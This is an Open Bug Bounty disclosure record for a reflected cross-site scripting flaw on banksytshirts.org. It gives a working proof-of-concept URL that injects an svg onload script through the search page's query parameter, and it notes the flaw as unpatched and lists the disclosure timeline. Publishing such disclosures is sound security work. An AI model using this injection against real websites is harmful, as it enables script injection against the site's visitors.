Lucene search

K
openbugbountyIwoodythecowboyOBB:191962
HistoryNov 10, 2016 - 8:49 p.m.

banksytshirts.org XSS vulnerability

2016-11-1020:49:00
iwoodythecowboy
www.openbugbounty.org
4
Vulnerable URL:
http://www.banksytshirts.org/search.php?query=%22%3E%3C/title%3E%3C/script%3E%27%3E%3Csvg/onload=alert(/OPENBUGBOUNTY/)%3E
Details:
Description Value
Patched: No
Latest check for patch: 27.07.2017
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 3538030
VIP website status: No
Check banksytshirts.org SSL connection: (Grade: C+)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 10 November, 2016 20:49 GMT
Generic security notifications sent to website owner 10 November, 2016 20:52 GMT
Notification sent to subscribers (without technical details) 10 November, 2016 22:17 GMT
Vulnerability details disclosed by researcher 1 December, 2016 21:14 GMT